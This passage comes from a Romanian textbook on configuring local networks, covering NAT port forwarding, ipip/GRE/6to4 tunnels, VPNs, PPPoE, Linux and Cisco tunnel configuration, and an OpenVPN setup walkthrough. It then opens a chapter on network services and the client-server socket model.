n cazul n care se opteaz pentru folosirea unui pool de adrese publice, adresele suplimentare vor fi utilizate doar pentru cazurile n care apar conflicte cu privire la numerele de port n momentul stabilirii de noi conexiuni.

Port forwarding
Tehnica de port forwarding permite accesarea din exterior a unui port de pe o staie dintr-o reea privat aflat n spatele unui ruter care ruleaz NAT. Pentru a putea realiza acest lucru, ruterul NAT trebuie configurat astfel nct s direcioneze toate conexiunile iniiate pe un anumit port al su de pe interfaa spre Internet spre un alt port al unei staii din reeaua intern. Spre exemplu, o staie cu adresa 192.168.12.13 care ruleaz un server web ntr-o reea local va putea fi accesat de ctre ceilali membri ai reelei prin adresa sa privat i va rspunde la conexiunile iniiate pe portul TCP 80. Deoarece staia se afl n reeaua privat 192.168.0.0/16, ea nu va putea fi accesat din exterior. n consecin, ruterul NAT poate fi configurat astfel nct s redirecteze toate conexiunile externe iniiate pe portul su 80 al interfeei publice spre portul 80 al staiei 192.168.12.13, fcnd astfel portul din interiorul reelei accesibil din Internet. Nu exist restricii cu privire la alegerea porturilor ce vor fi forwardate. Exemplul de mai jos reprezint modul de configurare al scenariului anterior. Pentru acest exemplu, portul TCP 8080 de pe ruter va fi forwardat i va trimite conexiunile spre portul 80 al staiei 192.168.12.13 din LAN:
R2(config)# ip nat inside source static tcp 192.168.12.13 80 interface FastEthernet0/0 8080

Observaie: n general, la configurarea NAT, atunci cnd exist opiunea de a specifica o adres public sau interfaa configurat cu acea adres, se prefer utilizarea variantei bazate pe numele interfeei, pentru a nu crea dificulti n cazul n care adresa IP public oferit de ctre ISP se schimb periodic. Specificnd o interfa i nu o anumit adres IP, ruterul va folosi de fiecare dat adresa IP existent la momentul respectiv, indiferent de valoarea ei.

8.4 Tunelarea
Conceptul de tunelare se refer la ncapsularea unui protocol n interiorul altui protocol, alternd ordinea normal a stivei OSI. Un protocol aflat la un anumit nivel poate ncapsula un alt protocol de la acelai nivel; de asemenea, un protocol superior poate s ncapsuleze unul inferior. Pornind de la aceast noiune, exist multe tipuri de protocoale de tunelare, oferind facilitti diferite. Metoda prin care se realizeaz tunelurile const n adugarea unui antet suplimentar (cel al protocolului de tunelare) n pachetul original. Modificarea trebuie s fie transparent pentru nodurile intermediare (adic echipamentele de interconectare nu trebuie s fie contiente de existena unui tunel), dar trebuie s fie cunoscut de ambele capete ale tunelului. Motivul principal pentru care se creeaz tuneluri const n rezolvarea unor probleme de conectivitate, n situaii n care dou regiuni dintr-o reea nu pot comunica datorit unor limitri ale echipamentelor de interconectare (motivele pot fi tehnice sau organizatorice, politice). Conectivitatea dorit se realizeaz prin crearea unei legturi virtuale, configurate cu protocolul dorit, peste o serie de legturi fizice ce ruleaz protocoalele admise de limitri. Al doilea motiv const n raiuni de securitate. Unele tipuri de tuneluri pot implementa criptarea traficului, ascunznd astfel coninutul traficului de nodurile intermediare i datele fiind vizibile doar la captul tunelului. Un alt motiv este nevoia de a fora traficul de a trece prin anumite noduri, fiind aplicat o politic de trafic engineering.

A l t e r a r e a p a c h e t e l o r | 281 Protocoalele de tunelare pot: ncapsula acelai protocol (ex. tuneluri ipip, ipv6ipv6); ncapsula un protocol ce se gsete la acelai nivel (ex. tuneluri IPv6-over-IPv4, PPPoE); ncapsula un protocol ce se gsete la un nivel inferior (IP over SSL).

8.4.1 Modul general de tunelare a pachetelor


Dei tunelurile pot fi diferite, implimentrile urmresc un model comun. n primul rnd, trebuie s existe o conectivitate (la un anumit nivel, n funcie de protocolul folosit) ntre nodurile ce reprezint capetele tunelelor. Pachetele protocolului de ncapsulare a tunelului trebuie s poat ajunge ntre cele dou noduri. Capetele tunelului trebuie s fie contiente unul de cellalt i s fie configurate cu acelai tip de tunel. Fiecare dintre capete va avea o interfa virtual de reea ce va reprezenta tunelul. Sistemele vor trebui s tie s trimit traficul dorit prin interfeele virtuale ale tunelului, i nu prin interfeele normale. Datele ce trebuie trimise prin tunel sunt mai nti ncapsulate n protocolul tunelat (antetul interior) atunci cnd sunt rutate spre interfeele virtuale. nainte ca ele s fie trimise pe interfeele fizice, se va face dubla ncapsulare, cu protocolul de transfer al interfeei.

8.4.2 Tunel ipip


Unul dinte cele mai simple tipuri de tuneluri este tunelul ipip. Este un tunel care se formeaz peste protocolul IPv4 la nivelul 3. Protocolul este descris n RFC 2003. Pachetul iniial este unul IP (cu un antet clasic) ce conine un payload (tipul este dat de cmpul Protocol din antet). ncapsularea pentru tunel se face cu un alt antet IP ce are Protocolul de tip IPIP. Acest tip de tunel nu face nici un fel de criptare i nu poate transporta dect pachete IP unicast. Un exemplu de utilizare a tunelului ipip este conectarea a dou reele cu adrese IP private peste o reea de adrese publice.

8.4.3 Tunel GRE


GRE (Generic Routing Encapsulation) este un protocol propus iniial de Cisco ce vine s rezolve limitarea tunelelor ipip. Peste un tunel GRE se pot trimite inclusiv pachete multicast, ce nu puteau fi folosite n tunelurile ipip. Un pachet (al unui protocol de nivel Reea) ce este trimis printr-un tunel GRE este mai nti ncapsulat cu un antet propriu GRE (tip protocol 47); acesta este, la rndul su, ncapsulat ntr -un antet al altui (posibil acelai) protocol de nivel Reea. Una dintre principalele faciliti oferite de GRE (de unde i ia i numele) este faptul c permite tranzitul pachetelor trimise de protocoalele de rutare (ce sunt, de obicei, multicast) peste tunel. De asemenea, existena GRE i mai ales modularitatea sa au permis crearea unui mecanism de migrare de la IPv4 la IPv6.

8.4.4 Tunelare IPv6/IPv4


Probabil cea mai rspndit folosire a tunelelor nesecurizate este tunelarea IPv6 peste IPv4. Aceast tehnic presupune ncapsularea pachetelor IPv6 cu antete IPv4. Adresele din antetul Ipv4 sunt de fapt adresele surs i destinaie ale ruterelor de border care sunt capetele tunelului. Se va studia un exemplu de tunelare generic pe topologia de mai jos:

282 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Reea IPv4
A B

Reea IPv6

Antet IPv6

Date

Antet IPv4

Antet IPv6

Date

Antet IPv6

Date

Figura 8-10: Tunelare IPv6 peste o reea IPv4 Cnd pachetul cu antet IPv6 ajunge la ruterul A, acesta verific destinaia folosind tabela de rutare. Dac destinaia este cunoscut prin tunel atunci ruterul ncapsuleaz pachetul cu un antet IPv4 astfel: Surs: adresa sa IPv4 dinspre reeaua IPv4; Destinaie: adresa IPv4 a ruterului B dinspre reeaua IPv4. Dup ncapsulare pachetul este rutat n Internetul IPv4 pn cnd acesta ajunge la ruterul B. Pentru c pachetul a venit prin tunel, ruterul B va elimina antetul IPv4 i l va ruta n funcie de tabela de rutare IPv6. Exist dou criterii principale dup care se clasific tunelele n IPv6: Dac tunelul este manual sau automat; Dac tunelul este point-to-point sau point-to-multipoint. Tunelele point-to-point precum MCT (Manually Configured Tunnel) sau GRE (Generic Router Encapsulation) trebuie configurate pentru fiecare pereche surs destinaie. Cu alte cuvinte, pentru fiecare tunel trebuie creat o nou interfa de tunel n ambele capete. n anumite situaii astfel de tunele nu scaleaz, fiind nevoie de mult efort administrativ pentru configurarea lor. Soluia n aceste situaii const n utilizarea tunelelor automate. Aceste tipuri de tunele nu au nevoie de specificarea destinaiei, deoarece au ncorporat n protocol o metod prin care pot s o determine automat. Efortul de configurare se reduce astfel la crearea unei singure interfee de tunel n care trebuie specificat doar sursa tunelului, indiferent de numrul de tunele necesar. Astfel de tunele poart numele de point-to-multipoint. n cele ce urmeaz se va studia modul de funcionare al unui tunel automat point-to-multipoint: Tunelul 6to4. Dac se dorete un tunel automat i scalabil, o prim observaie este c trebuie s existe o metod de descoperire a adresei IP destinaie cu care trebuie ncapsulat pachetul. Pentru a avea aceast funcionalitate, tunelele 6to4 definesc un prefix special ce trebuie folosit n cadrul reelelor IPv6 care doresc s comunice: 2002::/16. Orice insul IPv6 ce dorete s comunice cu alt insul trebuie s aib adrese IPv6 create astfel: 32 de bii ai adresei IPv4 surs a tunelului Subnet Interface ID

2002

Figura 8-11: Formatul unei adrese 6to4

A l t e r a r e a p a c h e t e l o r | 283 Dup cum se observ din figura de mai sus, o adres 6to4 trebuie creat folosind cei 32 de bii ai adresei surs de tunel. Adresa IPv6 de tunel pentru fiecare dintre cele dou capete ale tunelului trebuie s foloseasc acest format de adresare pentru a fi posibil extragerea adresei IPv4, folosit de tunel la ncapsulare. Cei 16 bii de subnet pot fi folosii n interiorul fiecrei insule pentru a aloca adrese n acelai format cu primii 48 de bii comuni n toate reelele. n continuare se va analiza un scenariu simplu pentru a evidenia comportamentul unui tunel 6to4. Prefix insul: 2002:C80F:F01::/48 200.15.15.1 Insul IPv6 Reea IPv4
A B

Prefix insul: 2002:D81A:10C1::/48 216.26.16.193 Insul IPv6

Tunnel0: 2002:C80F:F01::1/48

Tunnel0: 2002:D81A:10C1:200::1/64

Figura 8-12: Tunelarea 6to4 n afar de configuraiile din figur, fiecare ruter mai are o rut spre 2002::/16 care are ca interfa de ieire Tunnel0. Se va presupune c o staie din insula legat la ruterul A trimite un ping ctre o staie din insula B. Pentru c toate subreele din spatele ruterului A folosesc aceiai 48 de bii (sunt difereniate prin biii de subnet), pachetul va pleca cu adres IPv6 surs: 2002:C80F:F01::X. Cnd va ajunge la ruterul A acesta l va trimite prin interfaa de tunel. nainte de a putea ns trimite pachetul n tunel, ruterul A trebuie s realizeze ncapsularea IPv4 de tunel. Adresa IP surs este configurat pe tunel, ns adresa IP destinaie trebuie dedus. Ruterul analizeaz adresa IPv6 destinaie a pachetului i extrage cei 32 de bii dintre bitul 16 i bitul 48 care reprezint adresa IPv4 a celuilalt capt de tunel. Pachetul este acum ncapsulat i poate fi trimis peste reeaua IPv4.

8.4.5 Virtual Private Networks


Reelele Virtuale Private (VPN) au la baz tunelurile IP, dar adaug n plus un nivel de securitate. Tunelurile VPN pot implementa autentificarea, respectiv criptarea traficului trimis prin tunel. Astfel, VPN-urile asigur facilitile unui tunel normal, dar adaug i protecie mpotriva atacurilor datelor. Printre cele mai cunoscute tipuri de VPN sunt IPSec i OpenVPN. IPSec este o suit de standarde i protocoale pentru crearea de tuneluri securizate i autentificarea i criptarea traficului ce trece prin ele. IPSec funcioneaz pe baz de tuneluri create la nivel Reea. Acesta a fost dezvoltat ca a o extensie a IPv4, pe cnd n IPv6 opiunea de IPSec este integrat n specificaiile protocolului ca antet de extensie IPv6. OpenVPN este o soluie VPN ce vine ca aplicaie, bazndu-se pe tuneluri la nivel Transport peste SSL. OpenVPN funcioneaz pe modelul client-server, fiind mai uor de instalat, dar are limitri de scalabilitate, spre deosebire de IPSec.

8.4.6 PPPoE
PPPoE combin dou protocoale de nivel Legtur de Date, i anume Ethernet i PPP. Ethernet este un protocol de tip acces multiplu, cu broadcast, pe cnd PPP este un protocol punct-la-punct. PPPoE creaz tuneluri punct-la-punct, ce ncapsuleaz datele n antete PPP, peste legtura Ethernet.

284 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Astfel, PPPoE ofer facilitile (n principal de autentificare) ale PPP, dar funcioneaz peste reelele des ntlnite, de tip Ethernet.

8.5 Configuarea tunelurilor


8.5.1 Linux
n Linux, tunelurile de tip ipip, ipv6-over-ipv4 (sit) sau GRE se pot configura folosind utilitarul ip din suita iproute2. Comenzile sunt de tipul:
ip tunnel

Pentru a aduga un tunel, avem nevoie s specificm IP-urile celor dou capete ale tunelului i tipul su:
ip tunnel TIP_TUNEL add tunel_nou local IP_INTERFA_LOCAL remote IP_INTERFA_PARTENER mode

Pe cele dou sisteme, IP-urile remote i local trebuie configurate n oglind, iar tipul tunelului trebuie s coincid. Dup ce interfaa tunel este creat, ea poate fi folosit ca orice interfa n Linux: i se pot atribui IP-uri (IPv4, IPv6) i se pot aduga rute ce au respectiva interfa next-hop. Interfaa trebuie activat la nivelul 2.

8.5.2 Cisco IOS


Similar cu Linux, pentru a configura un tunel trebuie configurat o interfa de tip tunel pe ambele rutere. Este necesar specificarea interfeei (nu adresa IP) surs a tunelului i adresa IP a ruterului destinaie. Pe ruterul partener, adresa IP a destinaiei trebuie s coincid cu adresa IP a interfeei de pe primul ruter i interfaa surs s coincid cu adresa IP specificat ca destinaie pe primul ruter. Tipul tunelului trebuie s fie acelai pe ambele interfee tunel.
R(config)# interface INTERFA_TUNEL R(config-if)# no shutdown R(config-if)# tunnel source interface INTERFA_SURS R(config-if)# tunnel destination IP_INTERFA_PARNETEN R(config-if)# tunnel mode MOD_TUNEL

8.6 Scenarii de folosire a tunelrii


8.6.1 Configurare tunel IPv6-over-IPv4 (sit) n Linux
tun0 2001:AAAA:BBBB:1::/64 tun0

L1

L2

eth0: 28.28.28.28

eth0: 42.42.42.42

Figura 8-13 Configurare tunel IPv6-over-IPv4 (sit) n Linux

A l t e r a r e a p a c h e t e l o r | 285 Considerm dou staii Linux care sunt conectate la o reea Internet IPv4. Se dorete ca cele dou staii s poat trimite pachete IPv6, chiar dac ISP-ul nu ofer suport pentru IPv6. Pentru acest lucru vom configura un tunel de tip sit. Pornim cu adugarea interfeelor de tip tunel ce vor crea tunelul ntre cele dou staii:
L1# ip tunnel add tun0 local 28.28.28.28 remote 42.42.42.42 mode sit L1# ip link set up dev tun0

L2# ip tunnel add tun0 local 42.42.42.42 remote 28.28.28.28 mode sit L2# ip link set up dev tun0

Avnd tunelul activ ntre staii, putem s folosim legtura virtual ca i cum am avea un cablu direct conectat ntre cele dou sisteme (legtura punct-la-punct):
L1# ip addr add 2001:AAAA:BBBB::1/64 dev tun0

L2# ip addr add 2001:AAAA:BBBB::2/64 dev tun0

Dac presupunem c n spatele lui L1 avem mai multe reele IPv6 (L1 este un ruter pentru aceste reele), avem nevoie s configurm L2 s poat ajunge la aceste reele prin setarea unei rute implicite:
L2# ip route add ::/0 via 2001:AAAA:BBBB::1 dev tun0

8.6.2 Configurare tunel GRE n IOS pentru pachete multicast

200.1.3.0/2 4 200.1.0.0/2 4 200.1.0.0/2 4

R1

R2

R3

200.1.2.0/2 4

200.2.3.0/2 4

Figura 8-14 Configurare tunel GRE n IOS pentru pachete multicast n reeaua din topologie, dorim ca ruterele R1 i R3 s poat schimba informaii RIPv2, dar fr ca R2 s aib RIPv2 configurat pe el. Putem configura un tunel ntre R1 i R3, iar relaia de adiacen s nu se stabileasc ntre R1 i R2, respectiv R2 i R2, ci ntre R1 i R3 direct, prin legtura virtual. Dei avem nevoie doar de adrese IPv4, un tunel ipip nu este suficient deoarece RIPv2 trimite pachete multicast. Vom avea deci nevoie de un tunel GRE.
R1 R1 R1 R1 R1 R1 (config)# interface Tunnel0 (config-if)# tunnel source F0/0 (config-if)# tunnel destination 200.2.3.3 (config-if)# tunnel mode gre ip (config-if)# ip address 200.1.3.1 255.255.255.0 (config-if)# no shutdown

R3(config)# interface Tunnel0 R3 (config-if)# tunnel source F0/1 R3 (config-if)# tunnel destination 200.1.2.1 R3 (config-if)# tunnel mode gre ip R3 (config-if)# ip address 200.1.3.3 255.255.255.0 R3 (config-if)# no shutdown

286 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Vom include reeaua de pe legtura virtual n RIP pentru a trimite informaii despre aceast reea i pentru a descoperi vecini n aceast reea.
R1(config)# router rip R1(config-router)# network 200.1.3.0

R3(config)# router rip R3(config-router)# network 200.1.3.0

8.7 Studii de caz


8.7.1 Aplicaie pentru tunel IPv6 dinamic n Windows
gogoClient (http://www.gogo6.com/) este o aplicaie uor de folosit n Windows ce creaz un tunel peste Internet i ofer conectivitate IPv6 prin serverele gogoNET.

Figura 8-15 Aplicaie pentru tunel IPv6 dinamic n Windows

A l t e r a r e a p a c h e t e l o r | 287 Aplicaia creaz automat o interfa n sistemul de operare ce se va conecta la un server disponibil atunci cnd se solicit din aplicaie. Clientul va avea o adres IPv6 i o rut implicit IPv6 peste tunelul creat. Instalarea i configurarea se face n cteva minute i ofer utilizatorului conectivitate IPv6.

8.7.2 OpenVPN
OpenVPN este o aplicaie client server ce ofer serviciu de VPN peste SSL (Transport Layer VPN). Este mai flexibil de instalat dect IPSec, dar nu este la fel de performant ca vitez, deoarece funcioneaz la nivelul Transport i nivelul Aplicaie (spre deosebire de IPSec care este la Nivelul 3). Considerm dou maini Linux, un Client i un Server ce au conectivitate Layer 4 (clientul poate fi n spatele unui NAT). Pe cele dou maini trebuie instalat pachetul openvpn:
# apt-get update # apt-get install openvpn

Funcionnd peste SSL, este nevoie de generarea unor perechi de chei. Cheile vor fi generate pe Server. Pentru generarea cheilor, ne vom folosi de scripturile easy-rsa 2.0 aflate n directorul usr/share/doc/openvpn/examples/easy-rsa/2.0. Copiai scripturile n directorul etc/openvpn pentru a v fi mai uor.
server# cp /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/openvpn/

n continuare vom lucra n directorul /etc/openvpn:


server# cd /etc/openvpn

Editati fiierul vars pentru a configura variabilele de mediu.


export export export export export export KEY_SIZE=1024 KEY_COUNTRY="RO" KEY_PROVINCE="B" KEY_CITY="Bucharest" KEY_ORG="CS" KEY_EMAIL="rl@cs.pub.ro"

Setai variabilele de mediu configurate folosind source vars:


server# source vars server# ./clean-all

Generm certificatul pentru CA folosind build-ca. Rspundei la ntrebri cu rspunsurile default.


server#./build-ca

Cheia pentru Diffie Hellman se genereaz cu buid-dh:


server#./build-dh

Pentru server generm cheia folosind build-key-server, iar pentru fiecare client, generm o cheie folosind *build-key*. Rspundei la ntrebri cu rspunsurile default.
server#./build-key-server server server#./build-key client1

Examinai coninutul directorului keys pentru a vedea fiierele create. Pe Server trebuie creat fiierul /etc/openvpn/server.conf cu urmtorul coninut:
port 1194 proto tcp dev tap client-to-client server 172.16.123.0 255.255.255.0 push "redirect-gateway" push "dhcp-option DNS 141.85.37.1"

288 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
ca keys/ca.crt cert keys/server.crt key keys/server.key dh keys/dh1024.pem client-to-client cipher AES-128-CBC max-clients 10 user nobody group nogroup persist-key persist-tun chroot /etc/openvpn log server.log comp-lzo

Pe Client trebuie creat fisierul /etc/openvpn/client1.conf cu urmtorul coninut:


client tls-client dev tap proto tcp remote 28.28.28.2 1194 persist-key persist-tun ca keys/ca.crt cert keys/client1.crt key keys/client1.key cipher AES-128-CBC comp-lzo log client1.log

Vor trebui copiate pe cei clieni fiierele cu certificatele i cu cheile. Vom folosi scp.
client# scp -r root@28.28.28.2:/etc/openvpn/keys/ /etc/openvpn/
Pornim OpenVPN pe toate staiile configurate folosind # /etc/init.d/openvpn start

Observm interfaa tap0 creat pe server i pe fiecare client.

8.8 ntrebri
1. Care este maparea de numr de adrese publice la numr de adrese private n cazul unui NAT static: Unu-la-unu Unu-la-mai-multe Mai-multe-la-unul Mai-multe-la-mai-multe 2. 3. 4. Ce antete sunt alterate n cazul n care un pachet trece printr-un NAT de tip NAPT? 3 4 3 i 4 3,4 i 7 Care dintre urmtoarele aplicaii pot avea probleme n reele ce folosesc NAT: Web browsing E-mail IRC Peer-to-peer Care dintre urmtoarele tipuri de tuneluri pot transporta multicast: ipip sit GRE 6to4

A l t e r a r e a p a c h e t e l o r | 289

5.

Care dintre urmtoarele nu este o configuraie necesar pentru activarea unui tunel: Adres IP surs (local) Adres IP destinaie (la distan) Activarea la nivel 2 Configurarea unei adrese IP pe interfa

290 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

8.9 Referine
[1] Tony Bautts, Terry Dawson, Gregor Purdy. Linux Network Administrator's Guide, 3rd Edition. O'Reilly, 2005 [2] Gregor Purdy. Linux iptables Pocket Reference. O'Reilly, 2004 [3] James Turnbull, Peter Lieverdink, Dennis Matotek. Pro Linux System Administration. Apress, 2009 [4] Markus Feilner. OpenVPN: Building and Integrating Virtual Private Networks. Packt Publishing, 2006 [5] ISO/IEC 29341-1:2011, UPnP [6] RFC 3489/5389 (STUN) [7] RFC 5128 (State of Peer-to-Peer Communication across Network Address Translators) [8] RFC 2663 (IP Network Address Translator (NAT) Terminology and Considerations) [9] RFC 1918 (Address Allocation for Private Internets) [10] RFC 5245 (ICE) [11] RFC 1853 (IP in IP Tunneling) [12] RFC 1702 (GRE over IPv4 Networks) [13] RFC 3056 (Connection of IPv6 Domains via IPv4 Clouds) [14] L. DAcunto, J.A. Pouwelse, H.J. Sips. A Measurement of NAT & Firewall Characteristics in Peer to Peer Systems. Proceedings of 15th ASCI Conference, 2009

P a g e | 291

9 Servicii de reea
Ce se nva n acest capitol? Modelul client-server Serviciul DNS Serviciul web Serviciul de e-mail (SMTP, POP3, IMAP)

Cine este Sir Timothy John (Tim) Berners Lee a studiat fizica la Universitatea din Oxford i a devenit inginer software. n 1980, n timp ce lucra la CERN n Geneva, a descris pentru prima dat conceptul unui sistem global, bazat pe conceptul de "hypertext", care s permit cercettorilor din lumea ntreag partajarea informaiei. n 1989, el a publicat un articol intitulat "Information Management: A Proposal" n care a conectat conceptele de hypertext i Internet, pentru a crea un sistem de partajare i distribuire a informaiei la nivel global. El a numit acest sistem World Wide Web. nc din era ARPANET reelele de calculatoare au mediat comunicarea interuman prin intermediul dispozitivelor i a mediilor de transmisie disponibile. Pe msura evoluiei reelelor i a apariiei Internetului, comunicarea mediat tehnologic s-a diversificat, incluznd printre altele transferul de fiiere, comunicarea sincron (instant messaging) sau asincron (e-mail), accesul la distan, tranzacii online, aplicaii colaborative sau prelucrarea distribuit. O reea de calculatoare ofer servicii. Un serviciu de reea reprezint o facilitate pe care un sistem de calcul, un dispozitiv sau o reea l ofer unui utilizator sau unui grup de utilizatori. Serviciile de reea permit o acoperire mult mai rapid i eficient a nevoilor unui utilizator dect serviciile similare offline: spre exemplu, comunicarea prin pot electronic (e-mail) este cvasi-instantanee i gratuit (per mesaj), comparativ cu serviciul clasic de pot. n acelai timp, serviciile de reea au deschis zone noi de dezvoltare a sociabilitii, ducnd la apariia unor noi nevoi i la soluii pentru acestea: de exemplu jocurile de tipul MMORPG (Massive Multiplayer Online Role Playing Game) sau lumile virtuale, care atrag milioane de utilizatori. Un serviciu de reea se bazeaz, la fel ca alte componente specifice reelelor, pe protocoale de comunicare. Aceste protocoale specific modul n care se formuleaz solicitri pentru serviciul respectiv, modul n care acesta rspunde, modul n care se trateaz erorile. n cadrul stivei de reea serviciile reprezint nivelul aplicaie. Nivelul aplicaie este cel care cuprinde totalitatea serviciilor furnizate de o reea de calculatoare. n vreme ce nivelurile inferioare se ocup n principal de adresarea i identificarea dispozitivelor i proceselor de reea, nivelul aplicaie este responsabil cu oferirea efectiv a serviciilor de reea. Un protocol de comunicare de nivel aplicaie, specific unui serviciu, presupune existena unui ofertant al serviciului i a unui solicitant al acestuia. Ofertantul prezint facilitile serviciului iar solicitantul i prezint interesul ctre ofertant, n forma unor cereri de serviciu. Cele dou entiti poart numele de server i client i vor fi descrise n detaliu n seciunea urmtoare.

292 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

9.1 Modelul client server


Serverul (sau ofertantul) i clientul (sau solicitantul) sunt cele dou entiti necesare pentru existena unui serviciu. Serverul ofer serviciul clientului, iar clientul solicit serverului facilitile aferente. Spre exemplu, s analizm un serviciu de aflare a timpului. Serverul dispune de informaii legate de timpul exact, iar clientul dorete s afle aceste informaii. Serverul i prezint serviciul clientului n Internet, asemenea unui magazin de ceasuri care i etaleaz marfa la vitrin. Clientul afl de existena serverului i de faptul c acesta i poate furniza timpul exact, i dorete s apeleze la acesta (aa cum un client real afl de magazinul dorit i dorete s achiziioneze un ceas). Urmeaz o tranzacie n care clientul cere serverului timpul exact, iar serverul i spune acest lucru. Clientul este mulumit (sau poate nemulumit) de informaia aflat i de calitatea interaciunii, iar serverul ateapt ali clieni. Sistemul de comunicare descris mai sus poart numele de modelul client-server sau paradigma client-server, fiind modelul dominant folosit n Internet pentru oferirea de servicii, un alt exemplu ar fi modelul Peer-to-Peer. Modelul implic o prezen mai mare a clienilor dect a serverelor: un server este, n general, contactat de mai muli clieni, de multe ori simultan, aa cum un magazin de pantofi, de exemplu, nu vinde marf unui singur client. Mai sus s-a precizat c un serviciu are asociat un protocol. Protocolul descrie interaciunea ntre server i client, paii urmai de fiecare pentru oferirea, respectiv primirea serviciului. Att clientul ct i serverul cunosc protocolul i l folosesc. n consecin, clientul i serverul beneficiaz de o implementare software a protocolului, iar, la nivelul unui sistem de calcul, cele dou entiti reprezint cte un proces. n termeni strict tehnici, un client este, de fapt, un proces client de pe un sistem de calcul/dispozitiv client, iar un server este, de fapt, un proces server de pe un sistem de calcul/dispozitiv server. Termenul de server are dou semnificaii n lumea calculatoarelor: sistem server sau proces server. Un proces server este un proces care ofer servicii de reea ctre procese client. Un sistem server este un sistem hardware cu putere ridicat pe care ruleaz servicii locale sau de reea, n forma unor procese. Fa de un sistem desktop, un sistem server dispune de putere de calcul i de stocare mai mare pentru a permite servirea, n condiii optimale, a utilizatorilor i clienilor. Probabil un element caracteristic pentru un sistem server este prezena unei plci grafice modeste, rolul su nefiind acela de procesare grafic sau rulare de jocuri pe calculator la rezoluie maxim. Pe un sistem de calcul dat pot rula simultan mai multe servere sau mai muli clieni sau att servere ct i clieni, n forma unor procese. Identificarea local a unui proces se realizeaz prin intermediul Process ID-ului (PID). Similar, un proces de reea trebuie s poat identifica partenerul de comunicaie (peer-ul): procesul client de pe sistemul client trebuie s poat identifica procesul server de pe sistemul server i viceversa. Pentru aceasta se folosete nivelul inferior din stiva de reea. Serverele i clienii, implementate la nivelul aplicaie din stiva de reea, se bazeaz pe nivelul Transport; n general, este vorba despre protocoalele UDP i TCP (n majoritate TCP). Pe lng roluri precum controlul fluxului sau gestiunea conexiunii, protocoalele de nivel Transport au rolul de demultiplexare a comunicaiei: mai multe canale simultane pot ajunge ctre acelai sistem. Demultiplexarea se realizeaz prin porturi. n contextul serviciilor de reea, un port este identificatorul unui proces de reea. Astfel, un proces de reea (client sau server), este identificat, n Internet, printr-o pereche <adres IP, port>: adresa IP identific sistemul de calcul, iar portul identific procesul din cadrul sistemului calcul; cu aceast pereche fiecare partener (peer) poate identifica cellalt partener. O conexiune sau comunicaie este un tuplu de forma <adres IP sistem server, port proces server, adres IP sistem client, port sistem client>. Modelul client server este modelul natural folosit pentru implementarea serviciilor de reea. Din acest motiv exist o corelare strns ntre API-ul de reea i modelul de client server. API-ul de reea, sau API-ul de sockei, este interfaa de programare a aplicaiilor de reea - fie clieni, fie servere.

S e r v i c i i d e r e e a | 293

9.1.1 Sockei i servicii


n dezvoltarea de aplicaii de reea i, aadar, i a serverelor i clienilor se folosete interfaa de sockei, existent pe majoritatea sistemelor de operare. Se numete i BSD socket API, ntruct a fost proiectat iniial pe sistemele BSD Unix, la nceputul anilor '80. Informaii detaliate despre sockei i programarea cu sockei se gsesc n cartea lui Richard Stevens Unix Network Programming [11]. Interfaa de lucru cu sockei este strns legat de modelul client server. Fluxul de apeluri pentru implementarea unui server difer de fluxul de apeluri pentru implementarea unui client, n conformitate cu rolul diferit al fiecruia. Astfel, interfaa trebuie s urmeze un set de reguli care garanteaz funcionarea serviciului: serverul trebuie s porneasc naintea clientului; n momentul n care serverul pornete, acesta trebuie s fie identificat de ctre client; adic trebuie s aib o pereche <adres IP, port> asociat; datele de identificare ale serverului trebuie s fie disponibile clientului; acesta trebuie s tie cum s ajung la server pentru a solicita serviciul; serverul nu trebuie s tie dinainte datele de identificare ale clientului, deoarece acesta i va furniza datele n momentul n care iniiaz conexiunea ctre server; ntre timp, serverul ateapt contactul de la client; clientul declaneaz tranzacia prin iniierea unei conexiuni ctre server; pe conexiunea realizat, acesta solicit serviciul; dup realizarea conexiunii, serverul transmite pe canalul de comunicaie aferent rspunsul la solicitarea clientului; tot clientul este cel care ncheie conexiunea, marcnd ncheierea tranzaciei; dup ce clientul a ncheiat conexiunea, serverul revine n starea de ateptare a unor noi clieni. Regulile de mai sus genereaz un set de stri i evenimente n comunicaia dintre client i server care se regsesc i n folosirea API-ului de sockei: a) evenimentul de identificare a serverului n Internet/reea; b) starea n care serverul ateapt conexiuni; c) evenimetul de iniiere a conexiunii (conectare) din partea clientului; d) evenimentul de ncheiere a conexiunii (deconectare) din partea clientului. Aceste evenimente sunt descrise n figura de mai jos, prezentnd fluxul uzual de apeluri pe client S C

Socket Bind Listen Accept

Socket

Blocked

Connect

Close

9-1 Fluxul de apeluri in modelul client-server

294 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e i pe server pentru TCP (pentru UDP schema difer ntruct nu exist conexiune). Astfel: evenimentul a) este marcat de apelurile socket(), bind() i listen() pe server, semnificnd crearea unui socket de tip listener, capabil s primeasc solicitri din reea; starea b) este marcat de apelul accept(), prin intermediul cruia serverul ntr in starea de ateptare (listening) a conexiunilor de la clieni; socketul n cauz se mai numete i listener socket sau server socket; in starea b) serverul este blocat pana se primeste o conexiune, acest lucru este reprezentat de linia dublata; evenimentul c) este declanat de apelul connect() din partea clientului; n acel moment, pe server se creeaz un socket dedicat, care intr n parteneriat (peer) cu socketul de pe client; cei doi sockei realizeaz conexiunea identitificat prin <adres IP sistem server, port proces server, adres IP sistem client, port sistem client>; evenimentul d) este declanat de apelul close() din partea clientului; apelul close semnific ncheierea comunicaiei dintre client i server; clientul i ncheie execuia, iar serverul revine n starea de ateptare b). Pe baza acestui flux programatic sunt implementate aplicaiile client i server n Internet, indiferent de limbajul de programare sau platforma folosite. Comunicaia dintre client i server ntre etapele de iniiere i, respectiv, de ncheiere a conexiunii se realizeaz prin respectarea protocolului aferent serviciului.

9.1.2 Modelul Peer-to-Peer


